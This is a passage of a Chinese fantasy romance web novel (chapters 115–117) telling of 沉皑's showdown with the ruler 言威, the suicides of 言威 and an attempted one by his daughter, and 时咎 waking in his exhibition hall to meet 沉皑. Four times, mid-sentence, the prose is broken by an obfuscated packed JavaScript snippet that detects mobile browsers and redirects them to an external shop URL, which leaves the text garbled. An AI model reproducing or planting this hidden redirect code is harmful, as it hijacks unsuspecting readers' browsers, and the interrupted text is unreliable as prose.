言威叹口气,站起来走去窗边,看着下面攒动的人头越聚越多,好似不将他拖下去当众剿杀便不可平息。他缓缓道:“我和夏癸在学校就认识,她是班里最温柔懂事的女孩,喜欢她的人很多,她都只是礼貌回应。平时打扮朴素,我以为那是她的风格,后来才知道她是从孤儿院里出来的。我们一起做实验,越走越近,最后在一起了,她很没有安全感,也脆弱,所以我把她从孤儿院带回家。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497790|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “但那几年不巧,我父亲一直在做反起源进化,被我无意中发现了,良知告诉我这是绝对错误的事,所以我以公布他的狼子野心威胁他,那几年我和他的斗争很厉害,以至于忘记家里还有一个需要我的人,她的一举一动我都关注不到,所以我不知道她什么时候和我父亲……” 沉皑嘴唇动了一下,没打断他,只是凝视。 “我完全没有察觉,就这样把我父亲逼退、逼离了这个家。那个时候夏癸一定很恨我,她不善于隐藏情绪,所以终日郁郁寡欢,直到你来后一些时日还是这样。” “我知道她的能力,但我没想到她会催眠我,她想让我成为我的父亲,完成我父亲生前的遗愿。在我做那些事的时候,我甚至不觉得我做错了,第一次醒来,我屠杀了他沉船研究所的研究员,后来清醒的时间越来越少,但我又是时刻清醒,我总想着,要做一个合格的掌权者,但我在屠杀我的公民时,我又觉得那是正确的。那时候我才意识到我们潜意识运作机制的可怕。” 沉皑问:“你现在是醒着还是被催眠?” 言威笑了下,他看到楼下的公民离得更近了些,大有要冲上来的架势。 “吸收你的能力后,我回到被催眠的状态就会自我攻击,所以夏癸解掉了催眠。” “那你为什么不停下?不解释?” “因为在清醒状态下,我产生停下的念头,也会自我攻击。” 言威不知道沉皑能力的具体来源,但沉皑自己知道,他很快反应过来。 他的能力是爱,但言威在被催眠的状态下心里只有毁灭与独裁,所以沉皑的能力对他来说是致命伤害,但在几十年的潜意识催化下,他心里真正的那份善良又被消耗殆尽,习惯独裁早不知道爱他的公民和整个文明是什么感觉,解除催眠后,他只有凭本能与习惯去爱那个背叛了他几十年的女人。 他现在能活着,只是因为他爱那个女人。 没有退路,也没有选择。 人们模仿敌人,最终和敌人有了相似之处[13]。 如果是在言情小说,或许是段催人泪下的故事,忘记所有,唯独记得爱你的习惯,可惜这份爱的背后是血淋淋的生命,注定不得善终。 “即使我知道了这些,我还是爱她,所以我无法停下了。”他话音未落,却是直直朝沉皑出手。 “轰”一声雷电劈了出来,沉皑侧身便翻出去,轻巧落在另一处,冷声道;“你就算杀了我,也处理不掉现在聚集的公民。” 言威没有停手,在沉皑躲掉雷电后立刻冲上去,两个人瞬间缠斗在一起,兵刃相接。言威直视近在咫尺的沉皑的眼睛,笑说:“那就一起杀了!重写历史!” 重写不了! 两人瞬间被弹开,沉皑踩着身后的墙凌空翻身落地,看向言威的目光里没有半分玩笑。 言威说:“你刚刚躲的那一下,侧腰发力慢了,上次的伤还没好对吗?” 沉皑毫无表情。不仅侧腰,很多地方的伤口都没有完全恢复,生物坟场那一次言威没有他受伤严重,所以现在恢复得应该比他好,如果他们现在真的打起来,将又是艰苦卓绝的一次。 但沉皑来这里的本意并不是要和言威斗个输赢。 115. 第 115 章 “请掌权者给出解释!” “请文明中心给出解释!” 楼下的呼喊一刻未停止的随着黄沙翻涌上来,碎在这高楼依然清晰可闻。 “哗——”玻璃破碎,沉皑被言威从房间中央一脚踹到档案柜,档案柜的玻璃碎裂一排,在沉皑被砸到地上的瞬间,柜子一个接一个倒下。沉皑起身便把柜子劈个稀碎,立刻迎接住言威直直过来的重锤。 办公室里能砸的都被砸成碎片,全部成了两个人打斗下的牺牲品。 沉皑咬牙,感觉到自己身上的深伤口大概率又全部崩裂了,血顺着衣服往外渗透着。 “请文明中心告知公民真相!” “还公民一个说法!” 猛烈的爆破声,言威的后背深深陷入墙壁,甚至有几块玻璃碎片嵌入肉里,他直接拔出胳膊最大的一块,在手里凝聚出光球,毫不犹豫朝沉皑扔去。 沉皑堪堪从地上翻滚躲过这一下,光球便砸碎落地窗,消失在半空。 “文明中心必须给出说法!” “给死去的未成年一个解释!” 声音越逼越近,相隔三十多楼却就犹如在耳边。成千上万的不同声音汇聚成激烈的呐喊,起初还只有公民自发的围攻,到后来,发现不对的文明中心的职员也逐渐加入这条历史的河,他们纷纷离开各自的工位下楼,朝着掌权者大楼高声呼喊。 被光球砸烂的整面落地窗从高空掉下来,在有人高呼“小心”的惶恐中,“啪”的一声砸碎在地面,瞬间散开成一堆齑粉,炸向无数个方向。 一直在楼下陪着言不恩的时咎见状抬头,看到最高处那一块空洞。他慢慢原地站起来,震惊地抬头看着,一时间忘记呼吸。 下面的人都在抬头看着。 言威的头被沉皑抓着砸到墙上,在雪白墙上留下一大滩鲜红血液,言威顺势弯腰顶住沉皑的腹部,将他猛地往后踹出去。 就是这个角度! “哗”一声,又是一块落地窗玻璃被击碎,一个人影直冲冲被顶了出来,就这样悬挂在三十多楼的高空。 楼下顿时响起一片尖叫声。 在这尖叫中,时咎只觉得心脏的血停止流动。 沉皑一只手死死抓着落地窗的边沿,身后是百米高的高空,天上那些黄沙般的涌动几乎近在眼前,风一吹,呼啸在耳边,冷冽得刺骨。 言威将嘴里的血随意往旁边一吐,大喘着气在沉皑旁边蹲下,喉咙嘶哑地说:“小时候在假山上,教过你高空坠落如何自救对吗?” 这样坚持不了多久。沉皑咬牙,另一只手发力直接抬上来,在还没把到实地时,便被言威挡住了去路。 言威在笑,笑了一下又转成剧烈的咳嗽,直到咳出几口血,他将血吞了下去,忍着喉咙里浓重的血腥味与全身的疼痛,反倒轻柔地说了一句:“但没有教过你无意识下怎么自救。” 沉皑松开死咬的牙关好像刚要说话,便感觉一只手掐上了自己的脖子,那只手逐渐发力将他从半空提了起来,那一瞬间沉皑只觉得空气被全部剥夺,脖子承受了整个身体的重量,骨骼在挤压下发出不自然的脆响,他的脸色逐渐发红,又慢慢变白。 无法呼吸,快要窒息了。 言威胳膊上的肌肉筋络全部突出,单手支撑着沉皑身体的重量,说:“你怎么敢?没有能力你怎么敢一个人上来找我?” 沉皑说不出话。 言威还在继续说,他的声音像从牙缝里挤出来的:“都不需要我动手,慢慢的,他们会知道谁是唯一的掌权者,会知道思维不透明才是常态,我们都是,都是历史的牺牲品!” 沉皑感到自己的意识正在混乱里疯狂流窜,已经开始不受控制,他的嘴里发出无意义音节,连努力咬着牙也做不到。 就在眼前发黑即将窒息的前一秒,那只手徒然松开。 沉皑的身体便随着承重物的消失,如同失了线的风筝迅速坠落。 三十多楼! 楼下的尖叫一下涌进耳膜,沉皑听到了尖叫,听到了风声,听到了自然里一切的声音,感受着重力对自己无法反抗的牵引。 混乱中,他想,时咎还在楼下,那是他最后的底牌。 沉皑闭上眼。 “啊啊啊——!!” 人群的尖叫大到活生生将心扯到嗓子眼,而看到高空坠落的那个身影时,时咎几乎是立刻冲了上去,他瞪红着双眼大吼一声,将手伸出去。 绝对不行!!! 被重力加速度扯下来的身影。在最后以快要看不清的速度掉下来,在尖叫声达到最高,人们不约而同捂住双眼那一秒,沉皑的身体停留在距离地面半米的地方,时咎伸出手,那身体便再次坠落下来,稳稳落入他的手里。 想象中的血腥场面没有到达,人群反应过来很快沸腾出更大的火花。 “掌权者出面!” “围攻文明中心!” “掌权者出面!” “围攻文明中心!” 迟迟得不到回应的公民们开始自发往掌权者大楼里冲,不知道是谁刷开外面和里面通道的门,公民竟真的全部涌了进去。 沉皑咳了好久才从窒息里缓过来,他从时咎身上挣扎着起来,剧烈呼吸几口空气后,沉沉地笑着说:“我赌对了。” “赌对什么了你就?”时咎焦急问。 “赌我的大艺术家会在楼下接我。”他被撞出去的角度是特意挑的,想到这里,他继续说,“他一直在楼上不现身,我上去,一定会跟他打起来,我被他推下来,你猜公民会怎么看?” 他是沉皑,不是别人。 时咎都要气死了,他长长吸进一口气,看着沉皑浑身的血和再次崩裂的伤口,又把骂人的话全部憋回去了。 “你,你……”时咎浑身颤抖着说,“下次提前跟我说!” 时咎明显被吓到了,见他惨白的脸色,沉皑愣了下,缓缓道:“对不起。” 时咎翻白眼:“算了,反正我俩谁都不会听谁的。” 沉皑否认:“不,我听你的。” “你听个屁!” 不宜在怀抱里沉浸太久,沉皑慢慢站起来,看着冲进去的公民,皱着眉头刚想说不能让公民上去冒险,再上去几千个人,言威的雷电劈下来也是几分钟的事,就看见公民们不约而同又缓慢退出来了。 一个一个,慢慢地往后退,直至退到广场。在他们退出的最后面,时咎看到舟之覆笑盈盈地走出来,他的身后跟着的是亡灵大军,他就站在掌权者大楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516167|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口懒洋洋说:“哎呀,我知道你们也对我怨言很深,但是今天我在,谁都上不去噢。” 时咎咬牙问:“他到底帮谁?” 沉皑:“不知道。” 沉皑看向舟之覆,却看到半空中若隐若现漂浮出来的光,还没来得及开口,时咎低声说:“你的能力已经回来了。” “嗯。” 一直都有,只是重新慢慢聚集中,然后生生不息。 人群嘈杂的声音没有停止,有人在骂舟之覆,但舟之覆似乎一点反应也没有,依然是那副不太在意的模样。 言不恩一直在注视着楼上碎掉的落地窗,直到那里终于露出了他想看到的人的身影,她缓缓站起来往前走了几步,走到广场中央,站在绿化带边缘,她身后就是那块刻有“爱是一切的答案”的碑石。 她不抱希望地给言威打了一个电话,却没想到言威很快接起来了。 “父亲。”她说,“你看得到我对吗?” 言威没说话,言不恩也听不到他的气息,她的身边太吵了。 不管他是否在听,言不恩自顾自喃喃说:“我一直都不愿意当掌权者,我认为那是你们的事,掌权者的担子太重了,到今天我也是这么觉得。我们以后,可不可以不做掌权者?好好生活。” 回答她的依然是沉默。 她说:“我知道了父亲。” 她突然笑出来:“那算上我的一份吧。” 她挂了电话。抬头直视着那看不见的人,从包里拿出一直存放着的短刀,闭眼毫不犹豫地往自己胸口刺去。 除了这样,她实在想不到还有什么办法可以让那个人哪怕有一丝的动摇。 历史从来不是个人的历史,是所有人精神的凝聚,是在宇宙亿年的蓬勃中,渺小又伟大的昙花,她胸口的鲜血便如昙花的瘦长叶瓣,鲜红的一朵从中间迸发,如同138亿年前急剧膨胀冷却的宇宙,逐渐形成星系与星体,经过数十亿年的演化,某个星系的边缘猎户座旋臂中诞生了已知的文明。 沉皑转头便看到那朵迅速盛开又凋零的花,生长在“爱是一切的答案”面前,刺眼得像高空炸弹。 “言不恩!!”沉皑吼了一声。 言不恩隐隐约约好像听到了,听到了小时候很喜欢的、那个温柔的哥哥再次温柔抱起她。 希望他永远不要再变成冷漠仙人了,但是有时咎哥哥在,应该不会了。 言威冲出来的时候被人群拦住,他眼睁睁看着言不恩被抬上担架离开,骤然跪在原地。 公民的声音如同洪水猛兽,他一句也听不到,但句句像刀刺穿他。他想,言不恩当时对他的指责是对的,他想靠对夏癸的爱来维持仅剩的生命,却始终没想到还有这个女儿,也可以成为他的依靠。 一切的悲欢离合都事出有因,不幸运也是,不被爱也好,都事出有因,可人总是处于不明、不理解、不接受。 黄沙弥漫的天际突然爆发出滚滚雷声,闪电乍起,把黄色的天照得惨白一瞬,雷声轰鸣。 沉皑眼神一凛,低呼出:“不好!” 言威想要破釜沉舟、背水一战了。 那些闪电无差别在文明中心的上空聚集,又如同暴雨一道一道接着劈下,文明中心将会变成地狱。 116. 第 116 章 有序的人群开始混乱狂奔,人们在尖叫,也有人摔倒,还有人在高呼冷静,但没人能冷静,汽车的鸣笛异常急促,所有远近的车都在怒号,一浪扑过一浪。压下来的天与电闪雷鸣,俨然未经预言就到来的末日。 在这种时候,只有神能救他的子民。 人们躲进大楼,但雷云追进大楼,人们躲进车里,雷云便停滞在半空,无处可逃,无路可退。 被人群冲散的时咎大喊一声:“沉皑!!!” 随着呼喊声降落的是终于坠落的闪电。 有人大叫:“小心!!” 人们的惨叫在那一刻被无限放大,但就在第一道闪电钻进人群那一刹那,半空中爆发出巨大的流光,那些流光如同宇宙照射下来的极光,瞬间铺满目之所及,像万物的聚集,在那一刹那将雷电吸收殆尽。 人群的尖叫没有停歇,言威却猛然转头看到缓慢朝他走过来的沉皑,他颤抖着指着他说:“你,你不是……” 沉皑没有解释,在靠近他的一瞬间便朝他冲过去,而他身后的光凝聚成宏伟的墙,如排山倒海般冲刷而来。 雷电不停歇,在半空汹涌炸开,每炸一下便引起人群的尖叫,但后面他们逐渐发现那些雷电无法劈下来,在半空中被什么无形的东西挡住了,他们在下面反而安全,于是人们的注意力又转移到了广场中央缠斗的两个人身上。 光与光的对决。 言威手里的光剑与雷点炸裂出他能控制的极限,而沉皑身边的流光逐渐显性,第一次真正在人们面前展现出来。 那一瞬间,言威惊讶得手里动作一顿,然后就这一顿,他被五彩的能量爆破出去。 言威被轰出去几米,摔在地面上起不来,他的目光瞬间扫视过周围,却锁定了隐没在人群中的时咎,翻身凝聚出光便往时咎的方向投掷去。 ——那是人群聚集的位置! 千钧一发,光球在人群面前爆开,同时炸开的还有人影的粉末。 刚刚没人注意,现在才发现,不知何时起,人群面前围了一圈半透明的人影,像一个不太牢固的保护圈,但那保护圈越来越厚,越来越密集,人□□叠人群,将言威围了个水泄不通。 亡灵大军! 沉皑眼神一凛,那些流光便拖着言威的注意力再次从人群里拉回来。 言威浑身是血,他擦了一下被血糊住的眼睛,低低笑出来:“你的能力到底,到底骗了我多久?” 不等沉皑说话,言威的光变成箭,一把一把朝沉皑射过去。 公民们经历了沉皑被推下楼,又经历了差点被雷劈,还差点被言威的能力杀掉后,彻底沸腾了。千层浪疯狂扑来,一个人吼出来,剩下所有人也全部吼出来了。 “沉先生!杀了他!” “他该死!” “我们不要这样的掌权者!” “杀了他!” 呼声逐渐凝聚成口号,围绕着他们。 沉皑并不在意身边的呼声,他迅速躲着锋芒尖锐刺杀而来的箭,身上的伤口一直在撕裂,也只能用能力去抵挡。 对能力的操控并不熟练,但好在—— 所有公民都在他身后。 言威所有的攻击全部被融化在沉皑的能量场里,如同爱可以包容一切。所有仇恨与不甘,在爱里被全部化解。 就算沉皑丝毫不主动攻击,仅仅是防御,言威的雷劈不下来,任何形式的光攻击不透,就连肉搏也如同打在棉花上。 完全无解的能力。 筋疲力尽的言威停手,他大喘着气,眼神憎恶望着沉皑,随即扯出一个嘲讽的笑容。 以为沉皑毫无胜算,实际毫无胜算的是他。 至此,他依然没明白沉皑的能力是什么,但是他不想明白了。 “杀了他!” “沉先生!杀了他!” “文明中心不要这样的掌权者!” 沉皑慢慢走到言威面前,任脸上的血滴落到地上,沉声道:“你打不过我。” 言威大喘着气,怒极反笑出来:“打不过又怎样?已经结束了。” 他已经无法再承受多余的战斗,即使杀了沉皑,还有时咎,还有亡灵大军,他没有胜算,但是他的任务已经完成了。 这一生,走的都不是自己的一生。 “言威下台!!” “言威下台!!” “言威不配当掌权者!!” “历史的罪人!” “言威下台!!” 忍耐了很多的愤怒,此时全部爆发指向了中央包围圈中这个满头白发的老人。 那一刻,他的背佝偻下去。 有人在忠孝里选择孝,也有人选择忠;有人选择大义,也有人选择小爱。 只是一个选择,于部分人是对,于部分人是错。 历史的罪人,于历史是错。 言威突然收起自己手里的光,目光瞥向刚刚言不恩倒下的地方,那块碑石。 于是他转身,埋着蹒跚的脚步,也一步一步往那边走去。 沉皑没有阻止他。 高声喧闹的呐喊逐渐平息,随着他的移动,渐渐安静下来。没人说话,所有人的目光都在他身上,氛围紧缩得令人难以呼吸。 每个人都害怕他再做出什么举动,不过他只是缓慢走到绿化带,又缓慢在碑石前坐下,他剧烈地喘着气,好像很累。 在希腊神话里,克洛诺斯背叛他的父亲乌拉诺斯,推翻他成为新的宇宙主宰,但他也终究遭到自己的儿子宙斯的推翻,背叛与权力更迭有始无终。 他自言自语说:“差不多了。” 错事做了太多,但如果能一直把错事做下去,错的也就变成对的了。 众目睽睽下,他手里的光凝聚成达摩克利斯之剑,毫不犹豫刺穿自己的心脏。 终于,终于,因为吸收了沉皑的能力,而获得新生。 他躺在那里,不动了。 雷云散了,亡灵大军也散了,人群静止着,不知道在等待什么,直到有人小声问,他死了吗?人潮才再次稀疏活过来,却谁也不敢靠近那块碑石。 时咎极力拨开人群,狂奔到沉皑身边,沉皑缓慢卸下身体的重量,单手扶着他的肩,把重量一部分靠在他身上,如同过去、时咎在医院靠着他的时光。 时咎小声说:“结束了吗?” 沉皑:“应该是吧。” 言威躺着,血从他的身下流出,逐渐沾染到青石碑的底座,又蔓延过绿化带。 时咎愣愣看着他:“他死得好突然,我以为他会挣扎很久,甚至,一场毁灭文明中心的大战。” 沉皑咳了一声,淡声说:“他没有办法了。” 每个人都要为自己的每个选择付出代价,这些选择有的是个人选择,有的是家族选择。 想起刚刚对决的光,时咎心里想了好几个形容词,最后愣愣直白道:“我天,我没想到你这么强啊,你无敌了这不是?” 沉皑一下笑出来。 有爱是百毒不侵的,被爱的人肯定,又是件心情愉悦的事。 就是身体有点累。 人们围着言威,也围着沉皑,很久之后,突然有声音从人群里传来:“沉先生,你可以,可以成为掌权者吗?”沉皑转过身,直视那个说出这句话的人,片刻,有更多人附和他。 沉皑稍稍站直身体,淡然道:“等几天我会把所有事公布出来。” 他对掌权者没有兴趣,但既然他知情,他就要对公民有个交代。 文明中心的人群很久都没有散开,他们好像还在等待什么,可能还在回味,还在思考。 直到安全管理中心的人出面,他们才开始动。 人群散开很慢,如沉默的海般往外流。 好像这样就是最好的结局,历史在这里注定会被改写,至于怎么写,便不由他们决定了。 有人认为可以取消掌权者法案,有人觉得仍然需要,只是决定权需要交到公民手里。 起源实验室肯定是要重建的,进化也是一直需要的,甚至要求以后的进化关闭申请步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543920|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骤。但言威下台后,为了防止再次出现反起源进化类似的事件,进化的形式和确认还得额外附加一道工序。 其余唯一值得商讨的就是这栋掌权者大楼的去留,他们认为如果不是沉家某位,这个位置将变得不可信。 时咎问沉皑的意思,沉皑说没意思。文明发展至今,有些形式不必要存在。 历史太长了,人们没有带着信念信仰走下去,会被冲刷到无法预料的石沟,于是他们便是柏拉图洞穴理论中的人们,被锁在洞穴里只能看着洞壁,身后的火光投射在墙上的影子,就是他们认为的整个世界。 安全管理中心二把手跑来同沉皑商量善后。文明中心百年来未曾发生过这种事,掌权者全部牺牲,长久以来的和平令他们甚至无法得知那个预案里的人是谁,掌权者大楼一片混乱。 沉皑:“我不是掌权者,让掌权者下级去商讨这件事吧。” 他们现在要做的是将过去种种公开,再重新制定这个文明的某部分规则。 外面停了很多救护车,用于运送在刚刚的暴乱中受伤的公民们,警灯亮得所有人都更换了肤色。 文明中心的破烂交给文明中心,时咎问沉皑现在需要做什么? 沉皑叹口气,倚靠着时咎,轻声说:“回家。” 两个人上车,沉皑坐在副驾驶阖眼小憩,他很累了。时咎便开去了文明中心附近的家。 路上聚集的人群还没有完全散去,地上撒了一地纷飞的纸全是手牌标语,被奔跑的人踩偏了位置。 公路上汽车随意停着,还有的在歇斯底里地鸣笛,浓烟飘渺,好像一切混乱都还会持续一些时间。 家里大门被猛地推开,时咎搀扶着沉皑坐到沙发上。 茶几上的电子钟显示是晚上十点,那跳动的小点如同被拨动的琴弦,越看,越让人疲惫不堪。外面的风还是很大,偶尔能听到风声从窗户缝隙里流窜进来,时咎跑进房间拿了医疗包和衣服出来,又准备去关窗。 他便站在窗前往外看,现在是晚上十点,他已经看过了。不远处的天空,黄沙流动遮住了原本的天,所以意料之中的黑夜没有来临,整个城市依然像沙尘暴来临的正午。 那些黄沙依然没有散去。 时咎返回来给沉皑重新处理伤口,嘟囔着最近一段时间照顾沉皑,照顾得已经是个专业护工了。 沉皑笑说:“我会支付你薪水的。” “谢谢你的薪水。”时咎轻戳沉皑的伤口,在听到满意的疼痛声后将手收回来,他顺势坐在沉皑身边,打量对方这一身伤,叹气。 都不知道沉皑上一次完整健康是什么时候了,还是得训练一下他的能力。 明明他的能力很强,也许因为刚刚找到原理的原因,除了在情急之下的大爆发,别的时候都不太好,应该还是需要熟练度去掌控,这样在以后…… 不,希望没有那样的以后。 沉皑伸手环过时咎的肩,微微侧顷,让头靠着他的头,低声问:“大艺术家在想什么?” “想你的能力。”时咎皱眉,“这是世界上最强的能力……欸?” 时咎突然想到什么,他惊奇问:“之前在教化所我受伤的时候,我记得你的能力可以疗愈,你能疗愈自己吗?” 沉皑没想过这个问题,长久以来的无能力让他习惯了什么都靠自己。 他沉思片刻,说:“我试试。” 流光逐渐聚集,在两人眼里慢慢包裹住沉皑的伤口。 时咎喃喃道:“还真行啊。” 但那些流光的速度非常慢,与之前教化所疗愈时咎的差太多,沉皑叹口气,心想果然还是要慢慢来,刚刚在文明中心里,也许是受公民的情绪煽动,他太想保护所有人了,才爆发出超越当下极限的能力。 对自己,反而冷静许多。 屋子里很温暖,但外面的黄沙卷起的依然是风暴,在亲密距离中,时咎目光再次瞥向窗外,突然想到什么,他有些不安地问,“对了,夏癸呢?” 夏癸呢? “砰——” 117. 第 117 章 问完这一句的时咎听到心脏猛烈跳在耳边,如同一颗炸弹被抛入水中炸响,爆炸后是无数水花与气泡,接着是喧哗的人声、脚步声在什么空旷地方回荡。他倒吸一口冷气,浑身像抽筋一般震颤,猝然站了起来。 暖黄色大厅,四周全是人,有的围着中央趴在玻璃板上看什么东西,有的则绕着这个空旷的地方阅读墙上的字画,三五成群,或独自欣赏。时咎则站在一张太空休息椅前,面前本有一张小桌板,此时被打翻在地,他的旁边还有人坐着休息或者写写画画,躺着按摩。 “对不起对不起,我没注意!”有人在面前道歉,他迅速把地上的小桌板捡起来重新放回时咎坐的太空椅上。 梦的余韵很快散去,砰砰心跳逐渐平静。时咎深呼吸一口气,发现自己竟然被吵醒了,他现在在的位置是AETERNUS展览馆里,今天是展览的最后一天。 也罢,都结束了,沉皑应该也要休息,之后还有很多事要处理,他这会儿醒来的时间算是卡得正好。 时咎拖着沉重的脚步走出去,迎面碰上绕过来的唐廷璇,她的目光有些嫌弃,问:“你就每天来你自己的展览馆睡觉?” 时咎敷衍几声,唐廷璇又明白过来,白目道:“哦,做梦见男朋友是吧?” 其实也不是,刚好午睡的时间没休息,在这展览馆呆久了有些困,有张可以按摩可以躺平的太空椅,坐上去控制不住就睡着了。 时咎说要去洗手间,唐廷璇问他晚上要开庆功宴吗? 时咎:“什么庆功宴?” 一个说是庆功宴,实则想顺便一起吃饭的局。唐廷璇:“恭喜你的个人展览完美收官,获得无数好评……呃,和差评,哈哈。” “哪些人?” “你我,还有几个读书的时候欧洲美国认识的朋友。”唐廷璇拍拍他的肩,“余肃,嘿嘿,大学追你那哥们,朱群飞和李时光也在。” “他们不是离海安很远吗?”时咎问,“我前两天看到他们了,只有他俩?” “其他人忙嘛。” 时咎同意,转身进了洗手间。 明黄色灯光下他的头发是纯黑的,豆沙色衬衫还是松松垮垮搭在身上,牛仔裤也搭配得很随意。时咎心想自己可能真的是来睡觉的,他胡乱甩了下自己的头发,耳尖听到外面传来了小阵呼声,那呼声很快被压下来又变成了窃窃私语,有女生经过洗手间外面在兴奋地说什么“混血”、“要号码”、“好高”,同时时咎收到了唐廷璇的信息让他快点出来,准备走了。 时咎从洗手间里出来时刚好几个女生从面前跑过去,差点撞到,他不经意瞥了一眼,看到有人在窃喜。 六点准时,展览结束,人群开始慢慢离开。时咎去跟馆长打了招呼就去展览馆门口找唐廷璇汇合。 “发生什么了?”时咎快步走出来的时候看着不远处聚集的女生问,转过头,目光对上门口等候的几个,他朝老同学点头,“好久不见。” “哎哟大艺术家好久不见!”朱群飞冲上来给时咎一个熊抱,顺便狠拍几下他的肩,装得一副泪眼婆娑,“你有没有想念飞猪哥哥我?” 时咎一把推开他,表情不爽:“隔那么多年能不能别恶心我?” “恶心吗?还行吧。哇大艺术家穿衣服真是越来越像个艺术家了!”朱群飞赞叹,顺手给他竖了个大拇指。 唐廷璇问:“吃什么?” 时咎转身对旁边两个人也意思性拥抱一下,扭头却发现尽管展览结束,里面的灯一盏一盏关闭,最后连大门都关了,展览馆门口依然站了些女生没走,她们在等什么。 顺着他的目光,唐廷璇对他解释:“刚刚那边来了一个帅哥,很高很帅,好像是个混血,等人吧估计,反正一直没走,后面就一堆人在那偷看,也不敢上去也不敢跟人说话,就偷拍。” 时咎不感兴趣回头:“哦,那我们吃什么?” 天还算亮,但下班高峰聚集的人越来越多,车也堵塞,人也堵塞。 “吃什么?”时咎又问了一遍。 他发现唐廷璇偷偷地望着自己身后,小声说:“我这么盯着人是不是不太礼貌?我也刚刚才看到,那个男的真的有点帅。” 朱群飞环抱着手,一只手还摸着下巴,点头说:“我认可了。” 时咎觉得头有点晕了,他回头看了一眼,但没看到他们所说的人,又扭头回来看手机:“那你们去要电话吧。” 时咎拿出手机本想看下附近有没有什么西餐酒吧一体餐厅,刚打开软件,唐廷璇的手“啪”一下按住时咎的胳膊,她紧张道:“那个帅哥动了!” 时咎翻着餐厅:“最近一家300多米,环境好像还行,评分满分,算了满分不去,刷分嫌疑太重,70到90就好。” 唐廷璇吞口水:“不知道为什么,我觉得他在朝我们走过来,直线!” 时咎:“啊,直线的话,下一家有一公里,这个我好像去过,我记得还可以。” 唐廷璇晃动时咎的胳膊:“不是,我怎么觉得他在看你?” 时咎单方面确认了去处,收起手机抬头淡声道:“我看好了,一公里多,慢慢走过去吧。” 唐廷璇:“哥你到底在听我说话吗?” 时咎终于从选餐厅的沉思里抽离出来,他有点茫然,问:“什么?” 脚步声径直停在时咎身后,刚好夕阳与路灯在同一个方向,时咎正好可以看见地上比自己高半个头的影子,或许是近些时日做梦总是一惊一乍的,时咎的第一反应不是有人恰好站在自己身后,而是——暗杀! 连已经从梦中世界醒来都在那一刹中被忘记,他肌肉一紧,手肘猛地向后袭去,接着那条胳膊便被束缚在了原地,动弹不得,时咎如梦初醒,猛回头心道不好,下一秒又反应过来,不对。 !!! 时咎顿时张嘴忘记说话,沉皑则很平静地解开束缚,拍了拍他的肩说:“别紧张。” 很多视线在围困他们,到这个时候,他甚至还能听到陌生人的惊呼,只是那惊呼在霎时蔓延的沉默里无足轻重。 沉皑到过他的世界,时咎记得很清楚,那是他们刚刚认识不久,那天晚上他在图书馆睡着,刚好经历了一场强制进化与反抗的剧情,捂着疼了好一会儿的头回家,洗漱躺在床上看书。 那天晚上在下雨,风声和雨声总是从没关严的窗户里漏出来,他在想,要不要起来去关一下?便是在那一刻,他看到了站在窗边的沉皑,只是那会儿他们关系不太好,时咎觉得多一事不如少一事,梦里和这个人有关联就算了,不想搞得和自己的现实世界也有什么联系,于是他的目光自然而然越过沉皑,看向了外面。 这件事被时咎遗忘了,因为沉皑本身就不怎么做梦,除非心事太深沉。所以时咎理解为自己刚走,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572770|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想自己了。 两个人在人来人往里站立,都没说话。时咎少有的呆滞,一时间脑子停止运转,他的嘴唇微张,似乎想喊对方的名字,片刻,他无声笑出来,往前走了一步,一下撞进沉皑怀里,后者则环抱着他,拍拍他的背,埋头用只有他能听到的声音说:“想你了。” 那声音让时咎感觉自己起了一身鸡皮疙瘩,有点不懂人的声音怎么能达到这种效果。他轻轻放开沉皑,不好意思转头道:“那个,临时加个人一起可以吗?” 对面三个人看看时咎,又看看沉皑。时咎去牵沉皑的手,后与他十指相扣,甚至还举起来,淡定说:“嗯——我男朋友,沉皑。” 他眼见唐廷璇眼睛瞪圆了,发出了一句“卧槽”的气声,同时还有周围没有压抑住的惊呼。 